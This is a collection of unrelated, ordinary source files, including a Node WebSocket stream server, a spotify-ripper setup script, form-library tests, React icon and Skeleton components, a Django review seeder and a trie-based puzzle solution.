"use strict"; var __extends = (this && this.__extends) || (function () { var extendStatics = function (d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; return function (d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; })(); var __assign = (this && this.__assign) || function () { __assign = Object.assign || function(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; }; return __assign.apply(this, arguments); }; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); var node_core_logger_1 = __importDefault(require("./node_core_logger")); var node_websocket_session_1 = __importDefault(require("./node_websocket_session")); // import { getFFmpegVersion, getFFmpegUrl } from "../node_core_utils" // import context from "../node_core_ctx" var fs_1 = __importDefault(require("fs")); var mkdirp_1 = __importDefault(require("mkdirp")); var events_1 = __importDefault(require("events")); var ws_1 = __importDefault(require("ws")); var url_1 = __importDefault(require("url")); var enums_1 = require("./types/enums"); var context = require('./node_core_ctx'); /** * Event emitting websocket stream server * @extends EventEmitter */ var WebSocketStreamServer = /** @class */ (function (_super) { __extends(WebSocketStreamServer, _super); // TODO: - add authentication to publish routes /** * Create a websocket stream server * @param {NodeMediaServerConfig} config - The configuration for server setup * @returns */ function WebSocketStreamServer(config) { var _this = _super.call(this) || this; node_core_logger_1.default.log('Web Socket stream server started listening on 8080'); if (!config.stream) throw new Error('Incorrect Stream Config'); _this.config = config; _this.streamSessions = new Map(); _this.wsServer = new ws_1.default.Server({ port: 8080 }); // Check media root directory try { mkdirp_1.default.sync(config.stream.mediaroot); fs_1.default.accessSync(config.stream.mediaroot, fs_1.default.constants.W_OK); } catch (error) { node_core_logger_1.default.error("Node Media Stream Server startup failed. MediaRoot:" + config.stream.mediaroot + " cannot be written."); return _this; } // Check for ffmpeg try { fs_1.default.accessSync(config.stream.ffmpeg, fs_1.default.constants.X_OK); } catch (error) { node_core_logger_1.default.error("Node Media Stream Server startup failed. ffmpeg:" + config.stream.ffmpeg + " cannot be executed."); return _this; } // // add event listeners // const serverEventsMap = new Map<string, (...args: any[]) => void>([ // ['connection', this.connection], // ['error', this.error], // ['headers', this.headers], // ['close', this.close] // ]) // Object.keys(serverEventsMap).forEach(key => // this.wsServer.on(key, serverEventsMap.get(key) as (...args: any[]) => void) // ) _this.connection = _this.connection.bind(_this); _this.error = _this.error.bind(_this); _this.headers = _this.headers.bind(_this); _this.listening = _this.listening.bind(_this); _this.wsServer.on('connection', _this.connection); _this.wsServer.on('error', _this.error); _this.wsServer.on('headers', _this.headers); _this.wsServer.on('listening', _this.listening); return _this; } WebSocketStreamServer.prototype.connection = function (ws, req) { var _a, _b, _c, _d; if (!req.url) return; var streamPath = url_1.default.parse(req.url).pathname; if (!streamPath) { node_core_logger_1.default.error('Inncorrect Stream Path supplied on connection'); return; } var _e = streamPath.split('/'), _ = _e[0], app = _e[1], name = _e[2]; if (!((_a = this.config.stream) === null || _a === void 0 ? void 0 : _a.ffmpeg) || !((_b = this.config.stream) === null || _b === void 0 ? void 0 : _b.mediaroot)) { throw new Error("Couldn't record stream. Check mediaroot and ffmpeg path"); } if (!this.config) throw new Error('Config not set!'); var conf = __assign(__assign({}, this.config.stream), { ffmpeg: (_c = this.config.stream) === null || _c === void 0 ? void 0 : _c.ffmpeg, mediaroot: (_d = this.config.stream) === null || _d === void 0 ? void 0 : _d.mediaroot, streamPath: streamPath, streamName: name, streamApp: app }); if (app === conf.app) { var id = streamPath; var session_1 = new node_websocket_session_1.default(conf, id, ws); this.streamSessions.set(id, session_1); var sessionEventsMap_1 = new Map([ ['data', this.sessionData], ['error', this.sessionError], ['end', this.sessionEnd] ]); this.sessionData = this.sessionData.bind(this); this.sessionError = this.sessionError.bind(this); this.sessionEnd = this.sessionEnd.bind(this); Object.keys(sessionEventsMap_1).forEach(function (key) { session_1.on(key, sessionEventsMap_1.get(key)); }); session_1.run(); } }; WebSocketStreamServer.prototype.sessionData = function (millisecondsElapsed) { this.emit(enums_1.HLS_CODES.data.toString(), millisecondsElapsed); }; WebSocketStreamServer.prototype.sessionError = function (_err) { this.emit("" + enums_1.HLS_CODES.error); }; WebSocketStreamServer.prototype.sessionEnd = function (id) { this.emit("" + enums_1.HLS_CODES.finished); this.streamSessions.delete(id); }; WebSocketStreamServer.prototype.error = function (error) { node_core_logger_1.default.error("Web Socket Server Error Event: " + error.message); }; WebSocketStreamServer.prototype.headers = function (_headers, _req) { // nothing atm }; WebSocketStreamServer.prototype.close = function () { var _this = this; Object.keys(this.streamSessions).forEach(function (key) { var session = _this.streamSessions.get(key); session && session.stopFfmpeg(); }); }; WebSocketStreamServer.prototype.listening = function () { if (this.wsServer) { node_core_logger_1.default.log("WebSocket Server listening at: " + this.wsServer.address()); } node_core_logger_1.default.log('Websocket Listening Event triggered'); }; return WebSocketStreamServer; }(events_1.default)); module.exports = WebSocketStreamServer; exports.default = WebSocketStreamServer;
self.__precacheManifest = (self.__precacheManifest || []).concat([ { "revision": "59ba18e3c16ee2868faf76c5567b0996", "url": "/sfhacks2020.github.io/index.html" }, { "revision": "0c21fbfa7122dfedb5b4", "url": "/sfhacks2020.github.io/static/css/2.6f28b933.chunk.css" }, { "revision": "317e87dc561ae94c4dad", "url": "/sfhacks2020.github.io/static/css/main.ecce7fc3.chunk.css" }, { "revision": "0c21fbfa7122dfedb5b4", "url": "/sfhacks2020.github.io/static/js/2.2a477a39.chunk.js" }, { "revision": "b480cab71264cd9c4f96b96a0330af52", "url": "/sfhacks2020.github.io/static/js/2.2a477a39.chunk.js.LICENSE" }, { "revision": "317e87dc561ae94c4dad", "url": "/sfhacks2020.github.io/static/js/main.91302a14.chunk.js" }, { "revision": "ae353da4c58d18c3b239", "url": "/sfhacks2020.github.io/static/js/runtime-main.6f7aa6c9.js" }, { "revision": "674f50d287a8c48dc19ba404d20fe713", "url": "/sfhacks2020.github.io/static/media/fontawesome-webfont.674f50d2.eot" }, { "revision": "912ec66d7572ff821749319396470bde", "url": "/sfhacks2020.github.io/static/media/fontawesome-webfont.912ec66d.svg" }, { "revision": "af7ae505a9eed503f8b8e6982036873e", "url": "/sfhacks2020.github.io/static/media/fontawesome-webfont.af7ae505.woff2" }, { "revision": "b06871f281fee6b241d60582ae9369b9", "url": "/sfhacks2020.github.io/static/media/fontawesome-webfont.b06871f2.ttf" }, { "revision": "fee66e712a8a08eef5805a46892932ad", "url": "/sfhacks2020.github.io/static/media/fontawesome-webfont.fee66e71.woff" }, { "revision": "b6ccfde42cd4e90a0364d1d86e57caad", "url": "/sfhacks2020.github.io/static/media/sfhacksteam.b6ccfde4.png" } ]);
#!/usr/bin/env python # coding=utf-8 from setuptools import setup, find_packages import os import io def create_default_dir(): if is_raspberry_pi(): sudo_username = os.getenv("SUDO_USER") home_dir = "/home/" + sudo_username default_dir = os.path.normpath(os.path.realpath((os.path.join(home_dir, ".spotify-ripper")))) else: default_dir = os.path.normpath(os.path.realpath((os.path.join(os.path.expanduser("~"), ".spotify-ripper")))) if not os.path.exists(default_dir): print("Creating default settings directory: " + default_dir) os.makedirs(default_dir.encode("utf-8")) def _read(fn): path = os.path.join(os.path.dirname(__file__), fn) return open(path).read() setup( name='spotify-ripper', version='2.9.1', packages=find_packages(exclude=["tests"]), scripts=['spotify_ripper/main.py'], include_package_data=True, zip_safe=False, # Executable entry_points={ 'console_scripts': [ 'spotify-ripper = main:main', ], }, # Additional data package_data={ '': ['README.rst', 'LICENCE'] }, # Requirements install_requires=[ 'pyspotify==2.0.5', 'colorama==0.3.3', 'mutagen==1.30', 'requests>=2.3.0', 'schedule>=0.3.1', 'spotipy>=2.4.4', ], # Metadata author='James Newell', author_email='[email protected]', description='a small ripper for Spotify that rips Spotify URIs ' 'to audio files', license='MIT', keywords="spotify ripper mp3 ogg vorbis flac opus acc mp4 m4a", url='https://github.com/jrnewell/spotify-ripper', download_url='https://github.com/jrnewell/spotify-ripper/tarball/2.9.1', classifiers=[ 'Topic :: Multimedia :: Sound/Audio', 'Topic :: Multimedia :: Sound/Audio :: Capture/Recording', 'License :: OSI Approved :: MIT License', 'Environment :: Console', "Intended Audience :: Developers", 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', ], long_description=_read('README.rst'), ) def is_raspberry_pi(raise_on_errors=False): """Checks if Raspberry PI. :return: """ try: with io.open('/proc/cpuinfo', 'r') as cpuinfo: found = False for line in cpuinfo: if line.startswith('Hardware'): found = True label, value = line.strip().split(':', 1) value = value.strip() if value not in ( 'BCM2708', 'BCM2709', 'BCM2835', 'BCM2836' ): if raise_on_errors: raise ValueError( 'This system does not appear to be a ' 'Raspberry Pi.' ) else: return False if not found: if raise_on_errors: raise ValueError( 'Unable to determine if this system is a Raspberry Pi.' ) else: return False except IOError: if raise_on_errors: raise ValueError('Unable to open `/proc/cpuinfo`.') else: return False return True create_default_dir()
var arrayMap = require("./_arrayMap"), copyArray = require("./_copyArray"), isArray = require("./isArray"), isSymbol = require("./isSymbol"), stringToPath = require("./_stringToPath"), toKey = require("./_toKey"), toString = require("./toString"); /** * Converts `value` to a property path array. * * @static * @memberOf _ * @since 4.0.0 * @category Util * @param {*} value The value to convert. * @returns {Array} Returns the new property path array. * @example * * _.toPath('a.b.c'); * // => ['a', 'b', 'c'] * * _.toPath('a[0].b.c'); * // => ['a', '0', 'b', 'c'] */ function toPath(value) { if (isArray(value)) { return arrayMap(value, toKey); } return isSymbol(value) ? [value] : copyArray(stringToPath(toString(value))); } module.exports = toPath;
import babel from 'rollup-plugin-babel'; import minify from 'rollup-plugin-babel-minify'; import resolve from 'rollup-plugin-node-resolve'; import commonjs from 'rollup-plugin-commonjs'; import { uglify } from 'rollup-plugin-uglify'; const babelConfig = { exclude: 'node_modules/**' }; const minifyConfig = { comments: false }; export default [ { input: 'resources/index.js', output: { name: 'index', file: 'dist/index.min.js', format: 'umd' }, interop: false, plugins: [ babel(babelConfig), minify(minifyConfig), uglify() ] }, { input: 'resources/browser.js', output: { name: 'index', file: 'dist/vanillajs-validation.min.js', format: 'umd' }, plugins: [ resolve(), commonjs(), babel(babelConfig), minify(minifyConfig), uglify() ] } ]
from pyramid.testing import DummyRequest import djed.form from djed.testing import BaseTestCase field = djed.form.TextField( 'test', title = 'Test node') field1 = djed.form.TextField( 'test1', title = 'Test node') class TestField(BaseTestCase): _includes = ('djed.form',) def test_field_ctor(self): field = djed.form.Field('test', **{'title': 'Title', 'description': 'Description', 'readonly': True, 'default': 'Default', 'missing': 'Missing', 'preparer': 'Preparer', 'validator': 'validator', 'custom_attr': 'Custom attr'}) self.assertEqual(field.name, 'test') self.assertEqual(field.title, 'Title') self.assertEqual(field.description, 'Description') self.assertEqual(field.readonly, True) self.assertEqual(field.default, 'Default') self.assertEqual(field.missing, 'Missing') self.assertEqual(field.preparer, 'Preparer') self.assertEqual(field.validator, 'validator') self.assertEqual(field.custom_attr, 'Custom attr') self.assertEqual(repr(field), "Field<test>") def test_field_bind(self): orig_field = djed.form.Field( 'test', **{'title': 'Title', 'description': 'Description', 'readonly': True, 'default': 'Default', 'missing': 'Missing', 'preparer': 'Preparer', 'validator': 'validator', 'custom_attr': 'Custom attr'}) field = orig_field.bind(self.request, 'field.', djed.form.null, {}) self.assertEqual(field.request, self.request) self.assertEqual(field.value, djed.form.null) self.assertEqual(field.params, {}) self.assertEqual(field.name, 'field.test') self.assertEqual(field.title, 'Title') self.assertEqual(field.description, 'Description') self.assertEqual(field.readonly, True) self.assertEqual(field.default, 'Default') self.assertEqual(field.missing, 'Missing') self.assertEqual(field.preparer, 'Preparer') self.assertEqual(field.validator, 'validator') self.assertEqual(field.custom_attr, 'Custom attr') self.assertIsNone(field.context) self.assertIsNone(orig_field.context) self.assertEqual(repr(field), "Field<field.test>") context = object() field = orig_field.bind(object(), 'field.', djed.form.null, {}, context) self.assertIs(field.context, context) def test_field_cant_bind(self): """ Can't bind already bound field """ orig_field = djed.form.Field('test') field = orig_field.bind(self.request, 'field.', djed.form.null, {}) self.assertRaises(TypeError, field.bind) def test_field_validate(self): field = djed.form.Field('test') self.assertIsNone(field.validate('')) self.assertRaises(djed.form.Invalid, field.validate, field.missing) def validator(field, value): raise djed.form.Invalid('msg', field) field = djed.form.Field('test', validator=validator) self.assertRaises(djed.form.Invalid, field.validate, '') def test_field_validate_bound_field(self): orig = djed.form.Field('test') field = orig.bind(self.request, 'field.', djed.form.null, {}) self.assertIsNone(field.validate('')) self.assertRaises(djed.form.Invalid, field.validate, field.missing) def validator(field, value): raise djed.form.Invalid('msg', field) orig = djed.form.Field('test', validator=validator) field = orig.bind(self.request, 'field.', djed.form.null, {}) self.assertRaises(djed.form.Invalid, field.validate, '') def test_field_validate_type(self): field = djed.form.Field('test') field.typ = int self.assertRaises(djed.form.Invalid, field.validate, '') def test_field_validate_missing(self): field = djed.form.Field('test') field.missing = '' with self.assertRaises(djed.form.Invalid) as cm: field.validate('') self.assertEqual(field.error_required, cm.exception.msg) field.missing = 'test' with self.assertRaises(djed.form.Invalid) as cm: field.validate('test') self.assertEqual(field.error_required, cm.exception.msg) def test_field_validate_null(self): field = djed.form.Field('test') field.missing = '' with self.assertRaises(djed.form.Invalid) as cm: field.validate(djed.form.null) self.assertEqual(field.error_required, cm.exception.msg) def test_field_extract(self): field = djed.form.Field('test') widget = field.bind(object(), 'field.', djed.form.null, {}) self.assertIs(widget.extract(), djed.form.null) widget = field.bind(object, 'field.', djed.form.null, {'field.test':'TEST'}) self.assertIs(widget.extract(), 'TEST') def test_field_update_value(self): class MyField(djed.form.Field): def to_form(self, value): return value def to_field(self, value): return value request = object() field = MyField('test') widget = field.bind(request, 'field.', djed.form.null, {}) widget.update() self.assertIs(widget.form_value, None) field = MyField('test', default='default value') widget = field.bind(request, 'field.', djed.form.null, {}) widget.update() self.assertIs(widget.form_value, 'default value') field = MyField('test', default='default value') widget = field.bind(request, 'field.', 'content value', {}) widget.update() self.assertIs(widget.form_value, 'content value') widget = field.bind( request, 'field.', djed.form.null, {'field.test': 'form value'}) widget.update() self.assertEqual(widget.form_value, 'form value') def test_field_update_with_error(self): class MyField(djed.form.Field): def to_form(self, value): raise djed.form.Invalid('Invalid value', self) request = DummyRequest() field = MyField('test') widget = field.bind(request, 'field.', '12345', {}) widget.update() self.assertIs(widget.form_value, None) def test_field_flatten(self): self.assertEqual({'test': 'val'}, djed.form.Field('test').flatten('val')) def test_field_get_error(self): err = djed.form.Invalid('error') field = djed.form.Field('test') field.error = err self.assertIs(field.get_error(), err) self.assertIsNone(field.get_error('test')) def test_field_get_error_suberror(self): err = djed.form.Invalid('error') err1 = djed.form.Invalid('error2', name='test') err['test'] = err1 field = djed.form.Field('test') field.error = err self.assertIs(field.get_error('test'), err1) class TestFieldFactory(BaseTestCase): _includes = ('djed.form',) def test_field_factory(self): class MyField(djed.form.Field): pass self.config.provide_form_field('my-field', MyField) field = djed.form.FieldFactory( 'my-field', 'test', title='Test field') self.assertEqual(field.__field__, 'my-field') content = object() params = object() widget = field.bind(self.request, 'field.', content, params) self.assertIsInstance(widget, MyField) self.assertIs(widget.request, self.request) self.assertIs(widget.value, content) self.assertIs(widget.params, params) self.assertEqual(widget.name, 'field.test') def test_field_no_factory(self): field = djed.form.FieldFactory( 'new-field', 'test', title='Test field') self.assertRaises( TypeError, field.bind, self.request, '', object(), object())
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global.Copy16 = factory()); }(this, (function () { 'use strict'; var _16 = { elem: 'svg', attrs: { xmlns: 'http://www.w3.org/2000/svg', viewBox: '0 0 16 16', width: 16, height: 16, }, content: [ { elem: 'path', attrs: { d: 'M14 5v9H5V5h9m0-1H5a1 1 0 0 0-1 1v9a1 1 0 0 0 1 1h9a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1z', }, }, { elem: 'path', attrs: { d: 'M2 9H1V2a1 1 0 0 1 1-1h7v1H2z' } }, ], name: 'copy', size: 16, }; return _16; })));
# CMD click for BaseCommand Details # class BaseCommand is at /Users/noopy/.local/share/virtualenvs/django-airbnb-clone-AcLC9Tzu/lib/python3.8/site-packages/django/core/management/base.py import random from django.core.management.base import BaseCommand # Third Party app django seed docs: https://github.com/brobin/django-seed # For faker library for django seed ap: https://faker.readthedocs.io/en/master/fakerclass.html from django_seed import Seed # my application from reviews import models as review_models from users import models as user_models from rooms import models as room_models NAME = "reviews" # check seeded results here: http://127.0.0.1:8000/admin/reviews/review/ class Command(BaseCommand): help = f"This command creates fake {NAME}" def add_arguments(self, parser): parser.add_argument( "--number", default=1, type=int, help=f"how many fake {NAME} do you want to create?", ) def handle(self, *args, **options): # print(args, options) # get number from console number = options.get("number") seeder = Seed.seeder() # importing foreignkey field at models.py all_users = user_models.User.objects.all() all_rooms = room_models.Room.objects.all() # add entities to seeder packet seeder.add_entity( review_models.Review, number, { # random integer between 1 ~ 5 "cleanliness": lambda x: random.randint(0, 6), "accuracy": lambda x: random.randint(0, 6), "communication": lambda x: random.randint(0, 6), "accessibility": lambda x: random.randint(0, 6), "check_in": lambda x: random.randint(0, 6), "value": lambda x: random.randint(0, 6), # foreignkey field "room": lambda x: random.choice(all_rooms), "user": lambda x: random.choice(all_users), }, ) # inject seeder packet to the databse seeder.execute() # stand out self.stdout.write(self.style.SUCCESS(f"{number} reviews created"))
export const run = (options) => { return { devServer: { historyApiFallback: true, contentBase: options.contentBase, stats: 'errors-only', port: options.port } } }
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _react = require('react'); var _react2 = _interopRequireDefault(_react); var _pure = require('recompose/pure'); var _pure2 = _interopRequireDefault(_pure); var _SvgIcon = require('../../SvgIcon'); var _SvgIcon2 = _interopRequireDefault(_SvgIcon); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NotificationAirlineSeatFlat = function NotificationAirlineSeatFlat(props) { return _react2.default.createElement( _SvgIcon2.default, props, _react2.default.createElement('path', { d: 'M22 11v2H9V7h9c2.21 0 4 1.79 4 4zM2 14v2h6v2h8v-2h6v-2H2zm5.14-1.9c1.16-1.19 1.14-3.08-.04-4.24-1.19-1.16-3.08-1.14-4.24.04-1.16 1.19-1.14 3.08.04 4.24 1.19 1.16 3.08 1.14 4.24-.04z' }) ); }; NotificationAirlineSeatFlat = (0, _pure2.default)(NotificationAirlineSeatFlat); NotificationAirlineSeatFlat.displayName = 'NotificationAirlineSeatFlat'; NotificationAirlineSeatFlat.muiName = 'SvgIcon'; exports.default = NotificationAirlineSeatFlat;
#!/usr/bin/env python # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import glob import logging import os import sys from posixpath import curdir, sep, pardir, join # The root of the Hue installation INSTALL_ROOT = os.path.realpath(os.path.join(os.path.dirname(__file__), '..', '..')) # The apps location APPS_ROOT = os.path.join(INSTALL_ROOT, 'apps') # Directory holding app.reg HUE_APP_REG_DIR = os.environ.get("HUE_APP_REG_DIR", INSTALL_ROOT) # Directory holding hue.pth HUE_PTH_DIR = os.environ.get('HUE_PTH_DIR', None) # The Hue config directory HUE_CONF_DIR = os.path.join(INSTALL_ROOT, 'desktop', 'conf') # Virtual env VIRTUAL_ENV = os.path.join(INSTALL_ROOT, 'build', 'env') # The Python executable in virtualenv ENV_PYTHON = os.path.join(VIRTUAL_ENV, 'bin', 'python') def cmp_version(ver1, ver2): """Compare two version strings in the form of 1.2.34""" return cmp(ver1.split('.'), ver2.split('.')) def _get_python_lib_dir(): glob_path = os.path.join(VIRTUAL_ENV, 'lib', 'python*') res = glob.glob(glob_path) if len(res) == 0: raise SystemError("Cannot find a Python installation in %s. " "Did you do `make hue'?" % glob_path) elif len(res) > 1: raise SystemError("Found multiple Python installations in %s. " "Please `make clean' first." % glob_path) return res[0] def _get_python_site_packages_dir(): return os.path.join(_get_python_lib_dir(), 'site-packages')
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports["default"] = void 0; var React = _interopRequireWildcard(require("react")); var _classnames = _interopRequireDefault(require("classnames")); var _Avatar = _interopRequireDefault(require("./Avatar")); var _Title = _interopRequireDefault(require("./Title")); var _Paragraph = _interopRequireDefault(require("./Paragraph")); var _configProvider = require("../config-provider"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; } function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { "default": obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj["default"] = obj; if (cache) { cache.set(obj, newObj); } return newObj; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _createSuper(Derived) { return function () { var Super = _getPrototypeOf(Derived), result; if (_isNativeReflectConstruct()) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function getComponentProps(prop) { if (prop && _typeof(prop) === 'object') { return prop; } return {}; } function getAvatarBasicProps(hasTitle, hasParagraph) { if (hasTitle && !hasParagraph) { return { shape: 'square' }; } return { shape: 'circle' }; } function getTitleBasicProps(hasAvatar, hasParagraph) { if (!hasAvatar && hasParagraph) { return { width: '38%' }; } if (hasAvatar && hasParagraph) { return { width: '50%' }; } return {}; } function getParagraphBasicProps(hasAvatar, hasTitle) { var basicProps = {}; // Width if (!hasAvatar || !hasTitle) { basicProps.width = '61%'; } // Rows if (!hasAvatar && hasTitle) { basicProps.rows = 3; } else { basicProps.rows = 2; } return basicProps; } var Skeleton = /*#__PURE__*/function (_React$Component) { _inherits(Skeleton, _React$Component); var _super = _createSuper(Skeleton); function Skeleton() { var _this; _classCallCheck(this, Skeleton); _this = _super.apply(this, arguments); _this.renderSkeleton = function (_ref) { var getPrefixCls = _ref.getPrefixCls; var _this$props = _this.props, customizePrefixCls = _this$props.prefixCls, loading = _this$props.loading, className = _this$props.className, children = _this$props.children, avatar = _this$props.avatar, title = _this$props.title, paragraph = _this$props.paragraph, active = _this$props.active; var prefixCls = getPrefixCls('skeleton', customizePrefixCls); if (loading || !('loading' in _this.props)) { var _classNames; var hasAvatar = !!avatar; var hasTitle = !!title; var hasParagraph = !!paragraph; // Avatar var avatarNode; if (hasAvatar) { var avatarProps = _extends(_extends({ prefixCls: "".concat(prefixCls, "-avatar") }, getAvatarBasicProps(hasTitle, hasParagraph)), getComponentProps(avatar)); avatarNode = /*#__PURE__*/React.createElement("div", { className: "".concat(prefixCls, "-header") }, /*#__PURE__*/React.createElement(_Avatar["default"], avatarProps)); } var contentNode; if (hasTitle || hasParagraph) { // Title var $title; if (hasTitle) { var titleProps = _extends(_extends({ prefixCls: "".concat(prefixCls, "-title") }, getTitleBasicProps(hasAvatar, hasParagraph)), getComponentProps(title)); $title = /*#__PURE__*/React.createElement(_Title["default"], titleProps); } // Paragraph var paragraphNode; if (hasParagraph) { var paragraphProps = _extends(_extends({ prefixCls: "".concat(prefixCls, "-paragraph") }, getParagraphBasicProps(hasAvatar, hasTitle)), getComponentProps(paragraph)); paragraphNode = /*#__PURE__*/React.createElement(_Paragraph["default"], paragraphProps); } contentNode = /*#__PURE__*/React.createElement("div", { className: "".concat(prefixCls, "-content") }, $title, paragraphNode); } var cls = (0, _classnames["default"])(prefixCls, className, (_classNames = {}, _defineProperty(_classNames, "".concat(prefixCls, "-with-avatar"), hasAvatar), _defineProperty(_classNames, "".concat(prefixCls, "-active"), active), _classNames)); return /*#__PURE__*/React.createElement("div", { className: cls }, avatarNode, contentNode); } return children; }; return _this; } _createClass(Skeleton, [{ key: "render", value: function render() { return /*#__PURE__*/React.createElement(_configProvider.ConfigConsumer, null, this.renderSkeleton); } }]); return Skeleton; }(React.Component); Skeleton.defaultProps = { avatar: false, title: true, paragraph: true }; var _default = Skeleton; exports["default"] = _default;
function startup(Cesium) { var pointData = [ [31.0840587516, 121.5301772615], [31.0842907516, 121.5307252615], [31.0847737516, 121.5305362615] ]; var modelUrl = './SampleData/models/CesiumMilkTruck/CesiumMilkTruck.glb'; var tilesUrl = 'http://localhost:8081/static/tiles/unistrong/tileset.json'; var viewer = initView('cesiumContainer'); var scene = viewer.scene; var clock = viewer.clock; var model = addModel(viewer, modelUrl, pointData[0]); var tiles = addTiles(viewer, tilesUrl); var cartoScratch = new Cesium.Cartographic.fromDegrees(pointData[0][1], pointData[0][0]); function start() { // scene.postRender.addEventListener(function () { // var position = model.position.getValue(clock.currentTime); // model.position = scene.clampToHeight(position, objectsToExclude); // }); } function addTiles(viewer, url) { var tileset = new Cesium.Cesium3DTileset({ url: url }); scene.primitives.add(tileset); viewer.zoomTo(tileset); return tileset; } }
from collections import defaultdict class Trie: def __init__(self, words=None): self.data = 0 self.sons = defaultdict(Trie) if words: for w in words: self.add(w) def add(self, word): if word: prefix, *suffix = word self.sons[prefix].add(suffix) else: self.data += 1 def __delitem__(self, key): del self.sons[key] def __getitem__(self, key): return self.sons[key] def __setitem__(self, key, value): self.sons[key] = value def __repr__(self): return str((dict(self.sons), self.data)) def f(trie): r = sum(f(v) for v in trie.sons.values()) r += trie.data if r >= 2: r -= 2 return r T = int(input()) for t in range(1, T+1): n = int(input()) words = [input() for _ in range(n)] trie = Trie() for w in words: trie.add(w[::-1]) val = sum(f(v) for v in trie.sons.values()) + trie.data print("Case #{}: {}".format(t, len(words)-val))
({ createLinkTitle: "Linkin ominaisuudet", insertImageTitle: "Kuvan ominaisuudet", url: "URL-osoite:", text: "Kuvaus:", set: "Aseta" })
